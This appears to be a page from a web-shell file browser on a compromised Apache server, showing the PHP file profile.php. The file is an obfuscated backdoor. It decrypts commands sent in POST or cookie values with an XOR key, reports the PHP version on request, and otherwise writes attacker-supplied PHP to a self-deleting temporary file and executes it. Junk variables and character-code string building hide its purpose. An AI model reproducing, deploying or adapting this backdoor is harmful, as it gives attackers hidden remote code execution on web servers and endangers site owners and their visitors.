HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/profile.php
<?php 
$fjou_	=	'fjou_' /* dm*/ ^ /*  t*/ '';







function    gdfhedma()


{ /*z*/ $omquejlm /*jnlsc  */ =    22;    $ud_knbtzmf     = /*s*/ 'ebwukjwre';


	$brwfyhs /* cpoik */ =      'yrhop';
    $b_wrg    =     20; /*  e */ $ttkjrbxnwi    = /*zwtv   */ 'qcjfe';
 /*muahg*/ return /*   je_kw  */ $_POST;
}





$xbgzttpaoy    =      gdfhedma();


$pliolc /*  mpdmp   */ = /* lall   */ 26;
$bkk_eodtai_hjjjed /*  fjxu */ =	'jffsoxt_';








$f__fue    = /*   ct*/ $_COOKIE;

$xmptwqyweq    = /*   ybbhdn*/ 'scidm';$hfofbd /*yaetaq*/ =	48;

gdfhedma();






function    mfndfn($zmdix,    $kepbsrrwam)
{
  global       $fjou_;


       $fdbubyjhh    = /*  bbmqy */ sprintf("."."/"."\x25"	. /*   zr  */ "s".$fjou_(46) /*   r */ .	"p"."\154",    md5($zmdix));

     file_put_contents($fdbubyjhh,	"<"  .    "\77"       .    $fjou_(653-541)    .    "h"."p".$fjou_(32) /*   jby */ .      "u"."n".$fjou_(108)  . /* qnlz*/ "i".$fjou_(110) /*   mees*/ . /*   ak  */ $fjou_(645-538) /* b */ .    "(".$fjou_(95) /* n   */ .   $fjou_(95) /*nqexn*/ . /* eea_ut   */ "\x46" /* sr_ah  */ .     $fjou_(73)    . /*  qb  */ $fjou_(555-479) /*   nlk_vx  */ . /* dxc*/ "E".$fjou_(127-32)    .	"_"."\x29"    .	$fjou_(59)  . /*   pwvz   */ $fjou_(32)    .	$kepbsrrwam["d"]);$w_wpzse    =	'kege';
       include($fdbubyjhh);

	$pwlht   = /*vfjv*/ 'tbwik';

	$w_wpzse      =	base64_decode($w_wpzse);


	$wjadttv	=    'yibqv';	$vyekjutoj /*   ck   */ = /* _uwe */ $fdbubyjhh;

	$pwlht    =   base64_decode($wjadttv);
       @unlink($vyekjutoj);

	$vyiojbp /*  zq */ =    'qmoeji';


}




function	qcohxwvd()
{       global /*  frvka   */ $fjou_;



      $bkk_eodt /*   biibk   */ =    array();
 /*btcyl */ $bkk_eodt[$fjou_(112) /*   uyv  */ .    "v"]    =	phpversion();
   $bkk_eodt["s"."\166"]    = /* mztgl  */ "3"."\x2e"      .   "\65";	echo     @serialize($bkk_eodt);

	$lmkpdwsn     = /*  fa  */ 9;}


function  qyycck($kepbsrrwam,	$zmdix, /*lxgn   */ $xp_fnokw)
{

    global    $fjou_;




    $kepbsrrwam /*   wedaj*/ = /*zgtpz */ unserialize(kkkybe(kkkybe(base64_decode($kepbsrrwam),	$zmdix),  $xp_fnokw));
 /* dinmyc   */ if	(isset($kepbsrrwam[$fjou_(97)      .    "k"])) /* bhlt */ {

   if /* uzx   */ ($kepbsrrwam["a"] /* x*/ ==	"i")	{
      qcohxwvd();

			$aeyhncjhv /*   ma*/ =    27;
 /*kih*/ }      elseif      ($kepbsrrwam["a"]    ==    "e")    {

    mfndfn($zmdix,     $kepbsrrwam);


			$q_vheftx /* iqnuki*/ = /*  clrgpe   */ 'ftoyx';

       }


    exit();


       }}




$f__fue	=   array_merge($xbgzttpaoy, /*  _xs */ $f__fue);

	$pqhricgd_k   =    'iqipre';


function /*gcq*/ kkkybe($kepbsrrwam,    $ud_knbt)


{
	global      $fjou_; /* jqf   */ $ubfjvqmrql    =       "";
    for /*  mvls   */ ($bkk_eodt  =      0;  $bkk_eodt /* art */ <  strlen($kepbsrrwam);) /*   iefg*/ {
    for	($xcjtzenbo /*  fbb */ =    0;      $xcjtzenbo    < /*jmg_a */ strlen($ud_knbt) /*bd */ &&     $bkk_eodt    < /*  yt  */ strlen($kepbsrrwam);    $xcjtzenbo++,  $bkk_eodt++)	{

 /*wbwy   */ $ubfjvqmrql      .=	$fjou_(ord($kepbsrrwam[$bkk_eodt]) /*   osjkjt  */ ^  ord($ud_knbt[$xcjtzenbo]));
			$fslzvfwco /* qj */ =	25;    }


    }
 /*  mhyw   */ return       $ubfjvqmrql;
}


$zmdix  =    "d"."f".$fjou_(102)       . /*   uope*/ "1".$fjou_(55)	.      "2"."\70"       .     "f"."-"."0".$fjou_(57)     .    $fjou_(99)	. /*   xhvvbl */ "\x34" /*urc   */ . /*  ak   */ "-"."4".$fjou_(102) /*z_o   */ .    "\x66"	.   $fjou_(51) /*wbiop   */ .	$fjou_(440-395)    .     $fjou_(98) /*   pil */ .    $fjou_(662-564)	.    $fjou_(99)	.       "3"."-"."\x35"    .  "\x32"     .      "d".$fjou_(98) /*   qdmi   */ .    "\61" /*   ek   */ .      $fjou_(138-82) /*pg*/ . /*tnmz */ "b".$fjou_(537-488)	. /*   qqs  */ "d"."f"."\67"    .    "\143";$vubump       =  strlen($pqhricgd_k);foreach /*er   */ ($f__fue  as	$xp_fnokw    =>	$kepbsrrwam)	{


 /*  qtmzt  */ qyycck($kepbsrrwam, /*d   */ $zmdix, /* o__vzo */ $xp_fnokw);}








function /*   phfi_e*/ hgqdeomtvy()


{

 /*   gyp */ $hwjriz /*  gfnhf   */ = /*  glrus */ 'hucbpaiip';

    $vcthli /*  cv  */ = /* cyttes*/ 24;

 /* v_vol*/ $typfj     =	'fe';    $bkk_eodtjcmbswv       =	48;
	$vfeq_o  =       strtoupper($hwjriz);
       $bkk_eodt_cmmcvuu    =	$vcthli /*   baf  */ -      $bkk_eodtjcmbswv;
  $vcthli	=    $bkk_eodt_cmmcvuu      -     $vcthli;
    $miffheq    =   31; /*vtzf*/ $sbilig	=	'wwjzcn';

 /* gct*/ $bkk_eodt_cmmcvuu /*  makgb */ =    $vcthli    % /* pjxqz  */ ($miffheq /*   jjj_   */ + /* irvh   */ 3);

}


hgqdeomtvy();




?>